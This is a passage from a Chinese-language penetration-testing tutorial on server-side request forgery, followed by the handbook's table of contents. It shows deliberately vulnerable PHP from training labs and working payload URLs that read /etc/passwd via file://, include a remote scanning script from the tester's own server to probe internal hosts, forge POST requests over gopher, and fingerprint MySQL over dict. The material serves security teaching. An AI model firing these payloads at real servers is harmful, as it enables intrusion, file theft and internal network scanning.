## SRF案例:
### **案例一:url沒過濾**
```PHP
# 源代碼如下
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL沒問題,但是要做好過濾,如果不做過濾,就會導致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的問是:前端傳進來的url被后臺使用curl_exec()進行了請求,然后將請求的結果又返回給了前端。
//除了http/https外,curl還支持一些其他的協議curl --version 可以查看其支持的協議,telnet
//curl支持很多協議,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
```
**此時可以在url后邊接任意地址,當然真正的滲透應該接目標的內網地址**
```url
#原地址:
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://localhost/1.txt
#直接替換url為任意網址或本地文件路徑
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
```
### **案例二:只讀取PHP文件**
`file_get_contents`函數只能讀取PHP文件,所以可以修改原本的路徑,讀取服務器其他的php文件
```url
http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/captain.php
```
### **案例三:文件包含**
利用文件包含漏洞,加載遠程腳本掃描內部服務
```url
#GET的請求:
http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
#觀察Get請求中的參數,發現是典型文件包含問題,language=lang_en.php
#使用如下PAYLOAD,遠程包含并執行掃描腳本探測內網主機的端口和服務。
#POST請求
http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/bWAPP/ssrf-1.txt&action=go
#POST DATA內容:
ip=192.168.60.70
```
>192.168.163.157是要訪問的主機地址A
>xxx.xxx.xxx是要使用的遠程掃描腳本的地址(也就是自己搭建的服務器)
>192.168.60.70是要掃描的目標主機內網地址B,且該地址是xxx.xxx.xxx主機無法訪問到的
>使用post請求提交要進行掃描的目標主機IP,掃描結束后便返回結果。
## SSRF利用其他協議
有關 SSRF 其它擴展知道可參考: http://www.anquan.us/static/drops/web-7550.html
### file 協議的運用
請求`http://192.168.163.150/test.php?url=file:///etc/passwd`便可以獲取敏感文件的信息
### gopher 協議的運用
gopher 協議是比http協議更早出現的協議,現已不常用,但是在 SSRF漏洞利用中gopher可以說是萬金油,因為可以使用 gopher 發送各種格式的請求包,這樣變可 以解決漏洞點不在 GET 參數的問題了
基本協議格式:
```
URL:gopher://<host>:<port>/<gopher-path>
```
進行如下請求可以發送一個 POST 請求,且參數 cmd 的值為 balabal
構造 gopher 請求的時候,回車換行符號要進行2次url編碼為`%250d%250a`
>http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250aid=1
gopher在SSRF漏洞利用中具體的攻擊方式可以參考如下鏈接:
https://blog.chaitin.cn/gopher-attack-surfaces/
### dict 協議應用
dict 協議是一個字典服務器協議,通常用于讓客戶端使用過程中能夠訪問更多的字典源,
但是在 SSRF 中如果可以使用 dict協議,那么就可以輕易的獲取目標服務器端口上運行的服務 版本等信息
如請求 `http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info`
可以獲取目標主 機的 3306 端口上運行著 mysq-l5.5.55 版本的應用。
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具